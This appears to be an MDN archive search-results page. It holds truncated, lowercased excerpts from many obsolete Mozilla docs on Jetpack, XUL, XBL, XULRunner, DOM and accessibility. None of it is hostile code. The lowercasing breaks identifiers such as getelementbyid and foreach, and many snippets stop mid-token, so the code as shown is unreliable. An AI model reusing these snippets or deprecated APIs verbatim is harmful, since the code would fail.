the namespace currently lives in the future and must be imported before it is used: jetpack.future.import("storage.simple"); methods sync()as described above, the jetpack.storage.simple object is automatically written to disk, but a feature may force flush by calling jetpack.storage.simple.sync().
...examples this code persistently stores some data: jetpack.future.import("storage.simple"); var mystorage = jetpack.storage.simple; mystorage.fribblefrops = [1, 3, 3, 7]; mystorage.heimelfarbs = { bar: "baz" }; and this code -- pretend it's in the same jetpack as the code above -- simply uses that data: mystorage.fribblefrops.foreach(function (elt) console.log(elt)); var bar = mystorage.heimelfarbs.bar; jetpack.notifications.show(bar.baz); that's all there is to it!
...jetpack.future.import("menu"); jetpack.future.import("selection"); jetpack.future.import("storage.simple"); // create the persistent notes array if it doesn't already exist.
...And 4 more matches
Table Layout Strategy - Archive of obsolete content
been balanced, considering all of the others the priority of allocations for columns is as follows: max(min_con, min_adj) max (pct, pct_adj) fix fix_adj max(des_con, des_adj), but use min_pro if present for a fixed width table, the column may get more space if the sum of the col allocations is insufficient column width info columns get their width information from style info <col width="200px"> and from the cells that belong into this column.
... width = "0*" assume that you would like to give all the space to the second column in a table.
... poor mans choice is leave the first cell auto and specify 100%on the second one (this works cross-browser) <tbody></tbody>foobar <table width="200px" border> <tbody> <tr><td>foo</td><td width="100%">bar</td></tr> </tbody> </table> the conflict free solution, the column should have the minimum width.
...And 4 more matches
Unix stub installer - Archive of obsolete content
build the unix installer (debug or non-debug target) by typing "make" in the src2 directory grab a nightly build, say from <http://ftp.mozilla.org/pub/mozilla/n...staller.tar.gz> gunzip and untar the build to some temporary location like /tmp.
... if you don't want the installer to download then grab a nightly "full" installer, say from <ftp://ftp.mozilla.org/pub/mozilla/ni...gnu-sea.tar.gz>.
... if you need to use gdb to debug the installer run it by typing "gdb mozilla-installer-bin" on the shell prompt.
...And 4 more matches
getFolder - Archive of obsolete content
the value of foldername must be one of the following (info is based on mozilla 1.7 stable branch, might also work in other versions): "chrome" "components" "current user" "defaults" "file:///" "os drive" "plugins" "preferences" "profile" "program" "temporary" "mac apple menu" "mac control panel" "mac desktop" "mac documents" "mac extension" "mac fo...
...nts" "mac shutdown" "mac startup" "mac system" "mac trash" "mac preferences" "macosx default download" "macosx home" "macosx internet sites" "macosx local applications" "macosx local desktop" "macosx local documents" "macosx local frameworks" "macosx local internet plugin" "macosx local preferences" "macosx movie documents" "macosx music documents" "macosx picture documents" "macosx user applications" "macosx user desktop" "macosx user documents" "macosx user frameworks" "macosx user internet plugin" "macosx user preferences" ...
... "unix lib" "unix local" "windows" "win appdata" "win common files" "win desktop" "win desktop common" "win program files" "win programs" "win programs common" "win startmenu" "win startmenu common" "win startup" "win startup common" "win system" the "file:///" form is only valid when the subdirectory parameter is used.
...And 4 more matches
findbar - Archive of obsolete content
attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached.
... findnextaccesskey type: string the access key for the "find next" toolbar button in the findbar.
... findpreviousaccesskey type: string the access key for the "find previous" toolbar button in the findbar.
...And 4 more matches
How to implement a custom XUL query processor component - Archive of obsolete content
here is an example of what our xul might look like when using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <grid> <columns> <column flex="1"/> <column flex="3"/> <column flex="2"/> <column flex="1"/> </columns> <rows datasources="dummy" ref="." querytype="simpledata"> ...
... <template> <row uri="?"> <label value="?name"/> <label value="?age"/> <label value="?hair"/> <label value="?eye"/> </row> </template> </rows> </grid> </window> a few things to note.
...the contract id of our xpcom component should be of the form "@mozilla.org/xul/xul-query-processor;1?name=xxx", where the xxx is the querytype used in the xul template block.
...And 4 more matches
MenuModification - Archive of obsolete content
<script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed.
... menu.insertitemat(0, "delete", "delete"); in this example, the insertitemat method is used to insert a new 'delete' item at the beginning of the menu's popup.
... both the appenditem and insertitemat methods return the new menuitem, so you can further modify it, for instance to add an access key, as in the following example: var item = menu.appenditem("insert", "insert"); item.accesskey = "i"; appending submenus there is no built-in method to append submenus to a menu.
...And 4 more matches
Actions - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <button uri="?relateditem" label="?relateditem"/> </action> </template> </vbox> in ...
...for result b, the builder would have generated the following content: <button id="http://www.xulplanet.com/rdf/b" label="http://www.xulplanet.com/rdf/b"/> naturally, you wouldn't use an id attribute inside a template action since the id would be replaced anyway.
...you can use getelementbyid to get at particular results, for instance document.getelementbyid("http://www.xulplanet.com/rdf/c") would retrieve the second generated button.
...And 4 more matches
Attribute Substitution - Archive of obsolete content
for instance, to include a prefix before a variable value, you can use: <label value="my name is ?name"/> the effect will be that the ?name part of the attribute will be replaced by the value of the variable ?name.
...you can include multiple variables in one attribute if desired: <label value="my name is ?name and my age is ?age"/> this technique will work for any variable replacement in the action body, except for the uri attribute since that wouldn't be meaningful.
...<label value="?name" class="?gender^?nationality"/> the caret is considered a separator between variables, however it will not appear in the output.
...And 4 more matches
Filtering - Archive of obsolete content
function applyfilter(country) { var cond = document.getelementbyid("cond"); var triple = document.getelementbyid("filtertriple"); if (country) { if (!triple) { triple = document.createelement("triple"); triple.id = "filtertriple"; triple.setattribute("subject", "?photo"); triple.setattribute("predicate", "http://www.xulplanet.com/rdf/country"); } triple.setattribute("object", country); cond.appendchild(triple); } els...
...e if (triple) { cond.removechild(triple); } document.getelementbyid("photoslist").builder.rebuild(); } the 'country' argument to the applyfilter function holds the value to filter by.
...for example, the resulting triple for the netherlands might be: <triple subject="?photo" predicate="http://www.xulplanet.com/rdf/country" object="http://www.daml.org/2001/09/countries/iso#nl"/> this triple is then appended to the query.
...And 4 more matches
Simple Example - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/...
...> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by urls.
...first, we set the datasources and ref attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a triple.
...And 4 more matches
Simple Query Syntax - Archive of obsolete content
at its simplest, the simple query syntax is equivalent to the following: <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> the template builder uses the simple query syntax whenever a template does not have a <query> element.
...here is what it might look like: <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </template> there is no <query> or <action> element used.
...for example: <label value="rdf:http://purl.org/dc/elements/1.1/title http://www.xulplanet.com/rdf/country"/> the 'rdf:' form is really equivalent to the <binding> tag in the full syntax.
...And 4 more matches
Special Condition Tests - Archive of obsolete content
here is a previous example, rewritten to use the parent matching syntax: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <rule parent="vbox"> <action> <groupbox uri="?"> <caption label="?name"/> </groupbox> </action> </rule> <rule> <action> <label uri="?" value="?name"/> </action> </rule> </template> </vbox> previously, an assign element was used to assign the tagname o...
...for instance, we might use the following: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule parent="vbox"> <groupbox uri="rdf:*"> <caption label="rdf:http://purl.org/dc/elements/1.1/title"/> </groupbox> </rule> <rule> <label uri="rdf:*" value="rdf:http://www.xulplanet.com/rdf/address"/> </rule> </template> </vbox> on the first pass, the con...
...here is the same example using the extended template syntax: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule parent="vbox"> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <groupbox uri="?item"> <caption label="?
...And 4 more matches
Template Builder Interface - Archive of obsolete content
if the element is a <tree> element and has the flags attribute set to "dont-build-content", a tree builder will be created.
...this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html:div> this example generates three paragraphs.
...for example: <vbox datasources="template-guide-photos5.rdf template-guide-streets.rdf"> sometimes, you will want to calculate the datasource to be used and attach it to the template later.
...And 4 more matches
XML Templates - Archive of obsolete content
an example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> ...
... note: if you want to have the state of the disclosure triangles ("twisties") be persistent, be sure to give each node a unique "id" attribute.
... for this and the following examples, we are going to use the following xml document containing a list of people: <people> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gender="male"/> <person name="laura secord" gender="female"/> </people> xml query syntax the query syntax is fairly simple for xml datasources.
...And 4 more matches
Code Samples - Archive of obsolete content
const path = "c:\\windows\\charmap.exe" var file = components .classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile) file.initwithpath(path) file.launch() open a web page if your button is in firefox or seamonkey, use code like this to open a web page.
... change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" document .getelementbyid("content") .webnavigation .loaduri(url, 0, null, null, null) if your button is in thunderbird or sunbird, use code like this to open a web page.
... change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" var uri = components .classes["@mozilla.org/network/simple-uri;1"] .getservice(components.interfaces.nsiuri) uri.spec = url components .classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice) .loadurl(uri) compose an e-mail to compose an e-mail, use the same code as in the section open a web page above.
...And 4 more matches
Tree Widget Changes - Archive of obsolete content
to get a column in javascript: tree.columns.getcolumnfor(treecolelement); tree.columns.getnamedcolumn(treecolid); tree.columns.getcolumnat(index); you can also just use array syntax to get a column: tree.columns["lastname"]; tree.columns[5]; once you have a column, you can get various properties of it: column.index - the index of the column in displayed order column.id - the id attribute of the column column.element - the treecol element column.x - the x position in the tree of the left edge of the column column.width - the width of the column in c++ code, you can also get the atom attribute of ...
...this will be hidden if the column redordering is disabled using enablecolumndrag="false".
... <treecol type="checkbox"> you can then set or clear the checkbox for a particular cell in that column by setting the value attribute to true, or leaving out the attribute.
...And 4 more matches
Adding Event Handlers - Archive of obsolete content
<script src="findfile.js"/> we'll create the script file later when we know what we want to put in it.
...for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this.
...an example of responding to a button being pressed: example 1 : source view <button label="ok" oncommand="alert('button was pressed!');"/> since the command event will bubble, it is also possible to place the event listener on an enclosing element.
...And 4 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
the general handler syntax is as follows: <binding id="binding-name"> <handlers> <handler event="event-name" action="script"/> </handlers> </binding> place all of your handlers within the handlers element.
...for example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="this.checked=!this.checked"/> </handlers> when the user clicks and releases the mouse button over the check box, the mouseup event is sent to it, and the handler defined here is called, causing the state of the checked property to be reversed.
...<handlers> <handler event="click" button="0" action="alert('left button pressed');"/> <handler event="mouseup" button="1" action="alert('middle button pressed')"/> <handler event="click" button="2" action="alert('right button pressed');"/> </handlers> handling key events for key events, you can use a number of attributes similar to those for the key element to match a specific key and match only when certain modifer ke...
...And 4 more matches
Adding Style Sheets - Archive of obsolete content
the second line has always been: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this line indicates that we want to use the style provided by chrome://global/skin/.
...first, the modifed lines of findfile.xul: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="findfile.css" type="text/css"?> ...
... <spacer class="titlespace"/> <groupbox orient="horizontal"> <caption label="search criteria"/> <menulist id="searchtype"> <menupopup> <menuitem label="name"/> <menuitem label="size"/> <menuitem label="date modified"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="searchmode"> <menupopup> <menuitem label="is"/> <menuitem label="is not"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="find-text" flex="1" editable="true" datasources="file:///mozilla/recents.rdf" ref="http://www.xulplanet.com/rdf/recent/all"/> ...
...And 4 more matches
List Controls - Archive of obsolete content
example 1 : source view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute.
...the following example demonstrates these additional features: example 2 : source view <listbox rows="3"> <listitem label="butter pecan" value="bpecan" /> <listitem label="chocolate chip" value="chocchip" /> <listitem label="raspberry ripple" value="raspripple" /> <listitem label="squash swirl" value="squash" /> </listbox> the example has been changed to display only 3 rows at a time.
... the following example is of a listbox with two columns and three rows: example 3 : source view <listbox> <listcols> <listcol/> <listcol/> </listcols> <listitem> <listcell label="george" /> <listcell label="house painter" /> </listitem> <listitem> <listcell label="mary ellen" /> <listcell label="candle maker" /> </listitem> <listitem> <listcell label="roger" /> <listcell label="swashbuckler" /> </listitem> </listbox> header rows list boxes also allow a special header row to be used.
...And 4 more matches
Manipulating Lists - Archive of obsolete content
here is an example: example 1 : source view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" oncommand="additem();"/> the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'.
...the syntax is as follows: list.insertitemat(3, "thursday", "thu"); list.removeitemat(3); the insertitemat() function takes an additional argument, the position to insert the new item.
... getting the selected item these two properties are commonly inspected during a select event, as in the following example: example 2 : source view <listbox id="thelist" onselect="alert(this.selecteditem.label);"> <listitem label="short"/> <listitem label="medium"/> <listitem label="tall"/> </listbox> the select event is fired for a listbox when an item in the list is selected.
...And 4 more matches
Numeric Controls - Archive of obsolete content
<textbox type="number" min="1" max="20"/> as the default value isn't specified, it will default to 1, the minimum value.
...<textbox type="number" increment="10" max="100"/> this textbox steps in multiples of 10 from 0 to 100.
...<textbox type="number" decimalplaces="2"/> in this example, two digits right of the decimal point are shown.
...And 4 more matches
RDF Datasources - Archive of obsolete content
example 1 : source <tree flex="1" datasources="rdf:history" ref="nc:historyroot"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="url" label="url" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://home.netscape.com/nc-rdf#name"/> <tr...
...eecell label="rdf:http://home.netscape.com/nc-rdf#url"/> <treecell label="rdf:http://home.netscape.com/nc-rdf#date"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> other datasources the tables below list some of the other datasources available with mozilla.
...<tree datasources="rdf:bookmarks rdf:history animals.rdf" ref="nc:bookmarksroot"> this example reads the resources from the bookmarks, history and the animals.rdf file.
...And 4 more matches
Styling a Tree - Archive of obsolete content
set the property on a row or cell, as in the following example: <treerow properties="makeitblue"> css selectors for the tree the style sheet can take this property and use it to change the appearance of the row for unread messages or labels.
...the following properties are automatically set as needed: checked this property is set cells whose column is type="checkbox" focus this property is set if the tree currently has the focus.
... getcellproperties: function(row,col,props){ if ((row %4) == 0){ var aserv=components.classes["@mozilla.org/atom-service;1"].
...And 4 more matches
Tree View Details - Archive of obsolete content
<window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> </window> we use a simple tree here with no data in the treechildren.
... function init() { document.getelementbyid("elementlist").view = treeview; } the custom tree view will need to implement a number of methods, of which the important ones will be examined individually.
... var treeview = { childdata : { solids: ["silver", "gold", "lead"], liquids: ["mercury"], gases: ["helium", "nitrogen"] }, visibledata : [ ["solids", true, false], ["liquids", true, false], ["gases", true, false] ], }; the childdata structure holds an array of the children for each of the three parent nodes.
...And 4 more matches
XBL Attribute Inheritance - Archive of obsolete content
for example: xul: <searchbox/> xbl: <binding id="searchbinding"> <content> <xul:textbox/> <xul:button label="search"/> </content> </binding> in the example, the label attribute has been placed directly on the button element.
...<xul:textbox xbl:inherits="flex"/> <xul:button xbl:inherits="label"/> when the content is generated, the textbox grabs the flex attribute from the searchbox and the button grabs the label attribute from the searchbox.
...<bindings xmlns:xbl="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <xbl:binding id="buttonbinding"> <xbl:content> <xul:button label="ok" xbl:inherits="label"/> </xbl:content> </xbl:binding> in this example, the button inherits the label attribute, but this attribute is also given a value directly in the xbl.
...And 4 more matches
XUL Template Primer - Bindings - Archive of obsolete content
<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="friends.rdf" ref="urn:root"> <template> <rule> <conditions> <content uri="?uri"/> <triple subject="?uri" predicate=...
..."http://home.netscape.com/nc-rdf#friends" object="?friends"/> <member container="?friends" child="?friend"/> <triple subject="?friend" predicate="http://home.netscape.com/nc-rdf#name" object="?name"/> </conditions> <bindings> <binding subject="?friend" predicate="http://home.netscape.com/nc-rdf#address" object="?addr"/> <binding subject="?addr" predicate="http://home.netscape.com/nc-rdf#street" object="?street"/> </bindings> <action> <hbox uri="?friend"> <label value="?name"/> <label value="?street"/> </hbox> </action> </rule> </temp...
... <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description about="urn:root"> <nc:friends> <rdf:seq> <rdf:li> <rdf:description nc:name="alison appel"> <nc:address resource="#home"/> </rdf:description> </rdf:li> <rdf:li> <rdf:description nc:name="jack"> <nc:address resource="#doghouse"/> ...
...And 4 more matches
panel - Archive of obsolete content
ArchiveMozillaXULpanel
<panel id="thepanel"> <hbox align="start"> <image src="warning.png"/> <vbox> <description value="you have 6 new messages."/> <hbox> <button label="read mail"/> <button label="new message"/> </hbox> </vbox> </hbox> </panel> <description value="6 new messages" popup="thepanel"/> attributes backdrag type: boolean setting the backdrag attribute on a xul p...
... consumeoutsideclicks type: boolean controls whether or not the event that caused the popup to be automatically dismissed (or "rolled up") should be consumed or be dispatched as a normal event.
... an arrow panel can also specify a value of slide, which causes the arrow to "slide" instead of flipping when the panel doesn't have room.
...And 4 more matches
splitter - Archive of obsolete content
the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter tooltiptext="resize the search box" oncommand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked.
... substate type: one of the values below on splitters which have state="collapsed" and collapse="both", determines which direction the splitter is actually collapsed in.
... since collapse="both" is a gecko 1.9+ feature, this will have no effect on earlier versions.
...And 4 more matches
toolbar - Archive of obsolete content
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() method.
... attributes autohide, currentset, customindex, customizable, defaultset, grippyhidden, grippytooltiptext, height, iconsize, mode, toolbarname properties accessibletype, currentset, firstpermanentchild, lastpermanentchild, toolbarname, toolboxid methods insertitem style classes chromeclass-toolbar examples <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton id="nav-users" accesskey="u" label="users"/> <toolbarbutton id="nav-groups" accesskey="p" label="groups"/> <toolbarbutton id="nav-events" accesskey="e" label="events" disabled="true"/> </toolbar> </toolbox> attributes autohide type: boolean when set to true, the toolbar will be invisible unless the alt key is pressed by the user.
...this only has an effect on windows and needs to be combined with type="menubar" and a menubar element.
...And 4 more matches
CommandLine - Archive of obsolete content
an nsicommandline object is passed as the first argument of the launched window: example var cmdline = window.arguments[0]; cmdline = cmdline.queryinterface(components.interfaces.nsicommandline); alert(cmdline.handleflagwithparam("test", false)); see also: chrome: command line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched.
...anager; const nsicomponentregistrar = components.interfaces.nsicomponentregistrar; const nsicommandline = components.interfaces.nsicommandline; const nsicommandlinehandler = components.interfaces.nsicommandlinehandler; const nsifactory = components.interfaces.nsifactory; const nsimodule = components.interfaces.nsimodule; const class_id = components.id("178cfbb6-503c-11dc-8314-0800200c9a66"); const class_name = "applicationnameclh"; const contract_id = "@example.com/applicationname/clh;1"; const cld_category = "m-applicationname"; var apphandler = { /* nsisupports */ queryinterface : function clh_qi(aiid) { if (aiid.equals(nsicommandlinehandler) || aiid.equals(nsifactory) || aiid.equals(nsisupports)) return this; ...
... throw components.results.ns_error_no_interface; }, /* nsicommandlinehandler */ handle : function clh_handle(acmdline) { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.notifyobservers(acmdline, "commandline-args-changed", null); }, helpinfo : " -test <value> a test attribute\n", /* nsifactory */ createinstance : function mdh_ci(aouter, aiid) { if (aouter != null) { throw components.results.ns_error_no_aggregation; } return this.queryinterface(aiid); }, lockfactory : function mdh_lock(alock) { /* no-op */ } }; var apphandlermodule = { /* nsisupports */ queryinterface : function mod...
...And 4 more matches
How to enable locale switching in a XULRunner application - Archive of obsolete content
edit the application preferences file and set "intl.locale.matchos" to false.
... your application is now going to ignore the os locale, so it would be a good idea to define one to fall back on using the preference "general.useragent.locale".
... defaults/preferences/prefs.js /* don't inherit os locale */pref("intl.locale.matchos", "false");/* choose own fallback locale; later it can be overridden by the user */pref("general.useragent.locale", "en-gb"); note that some distributions of xulrunner or firefox don't honour the "intl.locale.matchos" setting, so in those cases you won't be able to override the os locale [debian iceweasel bug #417961].
...And 4 more matches
MacFAQ - Archive of obsolete content
for command-line work, you would call on: /applications/(vendor)/(name).app/contents/macos/xulrunner ui notes menus to enable your application quit command to work with the application menu (the one to the right of the blue apple), you need to give your quit menu item an id of "menu_filequititem".
... to enable the mac "about" menu make sure that you use "aboutname" as the id for your menu item to enable the mac "preferences" menu make sure that you use "menu_preferences" as the id for your options/preferences menu item toolbars mac windows have a small "jelly bean" button in the top right corner.
...the toolkit will automatically enable this behavior if you add class="chromeclass-toolbar" to your <toolbar> element.
...And 4 more matches
Gecko Compatibility Handbook - Archive of obsolete content
or, if you are using user-agent detection, you can install an extension in firefox or mozilla which allows you to "spoof" the user-agent strings of the various gecko browsers.
... upgrade the browser detection javascript to detect "gecko." (related article) content differs in gecko browsers and internet explorer use of proprietary or invalid markup (such as is generated by some microsoft office applications).
... verify that all hyperlinks use forward slashes (/) clicking on a link displays a "download" or displays html code instead of rendering the page correctly, but works as expected in internet explorer the web server has incorrectly specified the mime type for the content.
...And 4 more matches
Scratchpad - Archive of obsolete content
but even with possible limitations present, the html code can be either manually entered or copied from the source and pasted into the "about:blank" page (a new empty tab) with the use page inspector's edit as html context menu command.
... usage opening scratchpad in its own window there are several different ways to open scratchpad in its own window: press shift + f4, or go to the web developer menu (which is a submenu in the tools menu on macos and linux), then select scratchpad click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "scratchpad".
...first you need to check "scratchpad" in the "default firefox developer tools" section of the settings page.
...And 4 more matches
Using the W3C DOM - Archive of obsolete content
for example, the following short sample dynamically sets the left margin of a <div> element with an id of "inset" to half an inch: // in the html: <div id="inset">sample text</div> document.getelementbyid("inset").style.marginleft = ".5in"; note: internet explorer 5 through 7 have a flawed implementation of getelementbyid(), which returns the first element with a matching name or id (id versus name when using getelementbyid, msdn: getelementbyid method).
... ie-specific ways to access elements w3c web standards replacements id_attribute_value document.getelementbyid() document.all.id_attribute_value document.getelementbyid() document.all[id_attribute_value] document.getelementbyid() formname.inputname.value document.forms["formname"].inputname.value or document.forms["formname"].elements["inputname"].value inputname.value document.forms["formname"].inputname.value or document.forms["formname"].elements["inputname"].value formctrlname document.forms["formname"].formctrlname or document.forms["formname"].elements["formctrlname"] document.forms(0) document.forms[0] more on accessing forms and form elements: referencing forms and fo...
...fication on accessing forms and form elements referencing forms and form elements correctly, javascript best practices, by matt kruse for accessing a group of elements, the dom specification also includes getelementsbytagname, which returns a nodelist of all the elements with the given tag name in the order they appear in the document: var arrcollection_of_pargs = document.getelementsbytagname("p"); var objfirst_parg = arrcollection_of_pargs[0]; // objfirst_parg will reference the first paragraph in the document objfirst_parg.style.border = "2px solid green"; // and now, the first paragraph in the document // gets a 2px solid green border.
...And 4 more matches
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
in version 4 browsers such as netscape navigator 4.x and internet explorer 4.x, tables generally "broke" the inheritance of font styling.
...for example, if an author writes: <style type="text/css"> body {font-size: 11px;} </style> ...then the text inside table cells should also be 11 pixels in size.
...this represented a violation of css inheritance rules, and led many authors to create workarounds such as: <style type="text/css"> body, table, td {font-size: 11px;} </style> recreating legacy behavior to avoid "breaking" older pages that were authored with old-browser behaviors in mind, mozilla and related browsers will mimic old browsers when in "quirks" mode.
...And 4 more matches
Building up a basic demo with the PlayCanvas engine - Game development
<!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: playcanvas demo</title> <style> body { margin: 0; padding: 0; } canvas { width: 100%; height: 100%; } </style> </head> <body> <script src="playcanvas-latest.js"></script> <canvas id="application-canvas"></canvas> <script> var canvas = document.getelementbyid("application-canvas"); /* all our javascript code goes here */ </script> </body...
... var camera = new pc.entity(); camera.addcomponent("camera", { clearcolor: new pc.color(0.8, 0.8, 0.8) }); app.root.addchild(camera); camera.setposition(0, 0, 7); the code above will create a new entity.
...let's start by defining the geometry for a cube shape — add the following new code below your previous additions: var box = new pc.entity(); box.addcomponent("model", { type: "box" }); app.root.addchild(box); box.rotate(10, 15, 0); it will create an entity with the box model component and add it to the root of the application, our scene.
...And 4 more matches
Gecko FAQ - Gecko Redirect 1
gecko has been known previously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark infringement dispute.
... gecko is so fast and so powerful that it's being used to create the user interface of some applications ("chrome") as well.
...lt attributes rdf: full support, except for abouteach, abouteachprefix, and parsetype javascript 1.5, including ecma-262 edition 3 (ecmascript) compliance, except for date.todatestring and date.totimestring, which are not implemented transfer protocols: http 1.1 (including gzip compression), ftp ssl unicode oji (open java interface) image formats png gif jpeg, pjpeg does "full support" mean that gecko has zero bugs today or will have zero bugs at some point in the future?
...And 4 more matches
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
<script>document.write("<div>");</script> is bad.
... <script>document.write("<div></div>");</script> is ok.
...<script>document.write("<div></div");</script> is bad.
...And 4 more matches
CSS and JavaScript accessibility best practices - Learn web development
"standard" text content structure headings, paragraphs, lists — the core text content of your page: <h1>heading</h1> <p>paragraph</p> <ul> <li>my list</li> <li>has two items.</li> </ul> some typical css might look like this: h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; } you should: select sensible font sizes, line heights, letter spacing, etc.
... abbreviations an element that allows an abbreviation, acronym, or initialization to be associated with its expansion: <p>web content is marked up using <abbr title="hypertext markup language">html</abbr>.</p> again, you might want to style it in some simple way: abbr { color: #a60000; } the recognised styling convention for abbreviations is a dotted underline, and it is unwise to significantly deviate from this.
... links hyperlinks — the way you get to new places on the web: <p>visit the <a href="https://www.mozilla.org">mozilla homepage</a>.</p> some very simple link styling is shown below: a { color: #ff0000; } a:hover, a:visited, a:focus { color: #a60000; text-decoration: none; } a:active { color: #000000; background-color: #a60000; } the standard link conventions are underlined and a different color (default: blue) in their standard state, another color variation when the link has previously been visited (default: purple), and yet another color when the link is activated (default: red).
...And 4 more matches
What is accessibility? - Learn web development
note: the world health organization's disability and health fact sheet states that "over a billion people, about 15% of the world's population, have some form of disability", and "between 110 million and 190 million adults have significant difficulties in functioning." people with visual impairments people with visual impairments include people with blindness, low-level vision, and color blindness.
... in terms of statistics, the world health organization estimates that "285 million people are estimated to be visually impaired worldwide: 39 million are blind and 246 have low vision." (see visual impairment and blindness).
... hearing-impaired people also represent a significant userbase — "466 million people worldwide have disabling hearing loss", says the world health organization's deafness and hearing loss fact sheet.
...And 4 more matches
Practical positioning examples - Learn web development
you might be thinking "why not just create the separate tabs as separate webpages, and just have the tabs clicking through to the separate pages to create the effect?" this code would be simpler, yes, but then each separate "page" view would actually be a newly-loaded webpage, which would make it harder to save information across views, and integrate this feature into a larger ui design.
